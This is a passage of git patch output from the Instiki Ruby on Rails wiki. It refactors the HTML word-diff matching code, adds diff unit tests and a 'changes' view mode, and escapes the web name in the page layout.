      - -<% if @page.revisions.length > 1 %> - -<% end %> - - - diff --git a/lib/diff.rb b/lib/diff.rb index 81d336e9..1e3fe298 100644 --- a/lib/diff.rb +++ b/lib/diff.rb @@ -23,7 +23,7 @@ module HTMLDiff def build split_inputs_to_words index_new_words - operations.each {|op| perform_operation(op) } + operations.each { |op| perform_operation(op) } return @content.join end @@ -33,8 +33,8 @@ module HTMLDiff end def index_new_words - @word_indices = {} - @new_words.each_with_index { |word, i| (@word_indices[word] ||= []) << i } + @word_indices = Hash.new { |h, word| h[word] = [] } + @new_words.each_with_index { |word, i| @word_indices[word] << i } end def operations @@ -70,10 +70,12 @@ module HTMLDiff position_in_new, match.start_in_new) operations << operation_upto_match_positions end - match_operation = Operation.new(:equal, - match.start_in_old, match.end_in_old, - match.start_in_new, match.end_in_new) - operations << match_operation + if match.size != 0 + match_operation = Operation.new(:equal, + match.start_in_old, match.end_in_old, + match.start_in_new, match.end_in_new) + operations << match_operation + end position_in_old = match.end_in_old position_in_new = match.end_in_new @@ -87,7 +89,7 @@ module HTMLDiff recursively_find_matching_blocks(0, @old_words.size, 0, @new_words.size, matching_blocks) matching_blocks end - + def recursively_find_matching_blocks(start_in_old, end_in_old, start_in_new, end_in_new, matching_blocks) match = find_match(start_in_old, end_in_old, start_in_new, end_in_new) if match @@ -104,41 +106,63 @@ module HTMLDiff end def find_match(start_in_old, end_in_old, start_in_new, end_in_new) - besti, bestj, bestsize = start_in_old, start_in_new, 0 + + best_match_in_old = start_in_old + best_match_in_new = start_in_new + best_match_size = 0 - j2len = {} + match_length_at = Hash.new { |h, index| h[index] = 0 } - (start_in_old..end_in_old).step do |i| - newj2len = {} - (@word_indices[@old_words[i]] || []).each do |j| - next if j < start_in_new - break if j >= end_in_new - - k = newj2len[j] = (j2len[j - 1] || 0) + 1 - if k > bestsize - besti, bestj, bestsize = i - k + 1, j - k + 1, k + start_in_old.upto(end_in_old - 1) do |index_in_old| + + new_match_length_at = Hash.new { |h, index| h[index] = 0 } + + @word_indices[@old_words[index_in_old]].each do |index_in_new| + next if index_in_new < start_in_new + break if index_in_new >= end_in_new + + new_match_length = match_length_at[index_in_new - 1] + 1 + new_match_length_at[index_in_new] = new_match_length + + if new_match_length > best_match_size + best_match_in_old = index_in_old - new_match_length + 1 + best_match_in_new = index_in_new - new_match_length + 1 + best_match_size = new_match_length end end - j2len = newj2len + match_length_at = new_match_length_at end - - while besti > start_in_old and bestj > start_in_new and @old_words[besti - 1] == @new_words[bestj - 1] - besti, bestj, bestsize = besti - 1, bestj - 1, bestsize + 1 + +# best_match_in_old, best_match_in_new, best_match_size = add_matching_words_left( +# best_match_in_old, best_match_in_new, best_match_size, start_in_old, start_in_new) +# best_match_in_old, best_match_in_new, match_size = add_matching_words_right( +# best_match_in_old, best_match_in_new, best_match_size, end_in_old, end_in_new) + + return (best_match_size != 0 ? Match.new(best_match_in_old, best_match_in_new, best_match_size) : nil) + end + + def add_matching_words_left(match_in_old, match_in_new, match_size, start_in_old, start_in_new) + while match_in_old > start_in_old and + match_in_new > start_in_new and + @old_words[match_in_old - 1] == @new_words[match_in_new - 1] + match_in_old -= 1 + match_in_new -= 1 + match_size += 1 end - - while besti + bestsize < end_in_old and bestj + bestsize < end_in_new and - @old_words[besti + bestsize] == @new_words[bestj + bestsize] - bestsize += 1 - end - - if bestsize == 0 - return nil - else - return Match.new(besti, bestj, bestsize) + [match_in_old, match_in_new, match_size] + end + + def add_matching_words_right(match_in_old, match_in_new, match_size, end_in_old, end_in_new) + while match_in_old + match_size < end_in_old and + match_in_new + match_size < end_in_new and + @old_words[match_in_old + match_size] == @new_words[match_in_new + match_size] + match_size += 1 end + [match_in_old, match_in_new, match_size] end VALID_METHODS = [:replace, :insert, :delete, :equal] + def perform_operation(operation) @operation = operation self.send operation.action, operation @@ -158,7 +182,7 @@ module HTMLDiff end def equal(operation) - # no tags to insert, simply copy the matching words from onbe of the versions + # no tags to insert, simply copy the matching words from one of the versions @content += @new_words[operation.start_in_new...operation.end_in_new] end @@ -196,9 +220,9 @@ module HTMLDiff # new: '

      ab

      c' # diff result: '

      ab

      c

      ' # this still doesn't guarantee valid HTML (hint: think about diffing a text containing ins or - # del tags), but handles correctly more cases than earlier version. + # del tags), but handles correctly more cases than the earlier version. # - # PS: Spare a thought for people who write HTML browsers. They live in this ... every day. + # P.S.: Spare a thought for people who write HTML browsers. They live in this ... every day. def insert_tag(tagname, cssclass, words) loop do @@ -288,5 +312,5 @@ module HTMLDiff def diff(a, b) DiffBuilder.new(a, b).build end - + end diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 18549460..67a8a71b 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -72,11 +72,15 @@ class DiffTest < Test::Unit::TestCase def test_html_diff_with_multiple_paragraphs a = "

      this was the original string

      " - b = "

      this is

      \r\n

      the new string

      \r\n

      around the world

      " + b = "

      this is

      \r\n

      the new string

      \r\n

      around the world

      " + + # Some of this expected result is accidental to implementation. + # At least it's well-formed and more or less correct. assert_equal( - "

      this wasis

      \r\n

      the " + - "original " + - "new string

      \r\n" + + "

      this wasis

      "+ + "\r\n

      the " + + "originalnew" + + " string

      \r\n" + "

      around the world

      ", diff(a, b)) end @@ -96,4 +100,11 @@ class DiffTest < Test::Unit::TestCase assert_equal '
      foo
      ', diff(a, b) end + def test_diff_for_tag_change + a = "x" + b = "x" + # FIXME sad, but true - this case produces an invalid XML. If handle this you can, strong your foo is. + assert_equal 'x', diff(a, b) + end + end From f8b3e2b11d93e73cfe2d13a18dc19323691d6492 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 11 Mar 2006 22:10:32 +0000 Subject: [PATCH 441/529] See Changes as a separate page (still implemented within show and revision actions) --- app/controllers/wiki_controller.rb | 6 ++--- app/views/layouts/default.rhtml | 7 +++--- app/views/wiki/page.rhtml | 16 ++++++------- app/views/wiki/revision.rhtml | 31 +++++++++---------------- config/routes.rb | 2 ++ test/functional/wiki_controller_test.rb | 1 - 6 files changed, 27 insertions(+), 36 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 2792d783..46a931c2 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -49,10 +49,6 @@ class WikiController < ApplicationController @authors = @page_names_by_author.keys.sort end - def changes - raise "Not implemented yet" - end - def export_html stylesheet = File.read(File.join(RAILS_ROOT, 'public', 'stylesheets', 'instiki.css')) export_pages_as_zip('html') do |page| @@ -212,6 +208,7 @@ class WikiController < ApplicationController def revision get_page_and_revision + @show_diff = (@params[:mode] == 'diff') @renderer = PageRenderer.new(@revision) end @@ -250,6 +247,7 @@ class WikiController < ApplicationController if @page begin @renderer = PageRenderer.new(@page.revisions.last) + @show_diff = (@params[:mode] == 'diff') render_action 'page' # TODO this rescue should differentiate between errors due to rendering and errors in # the application itself (for application errors, it's better not to rescue the error at all) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index bd357488..67b85e06 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -5,12 +5,13 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" <% if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(@action_name)) %> - <%= @web.name %> + <%= h @web.name %> <% elsif @web %> - <%= @title %> in <%= @web.name %> + <%= @title %> in <%= h @web.name %> <% else %> <%= @title %> <% end %> + <%= @show_diff ? ' (changes)' : '' %> @@ -42,7 +43,7 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

      <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> - <%= @web.name %> + <%= h(@web.name) + (@show_diff ? ' (changes)' : '') %> <% elsif @web %> <%= @web.name %>
      <%= @title %> diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 65d9d8be..169460fe 100644 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -1,10 +1,11 @@ <% - @title = @page.plain_name + @title = @page.plain_name + @title += ' (changes)' if @show_diff @show_footer = true %>
      - <%= @renderer.display_content %> + <%= @show_diff ? @renderer.display_diff : @renderer.display_content %>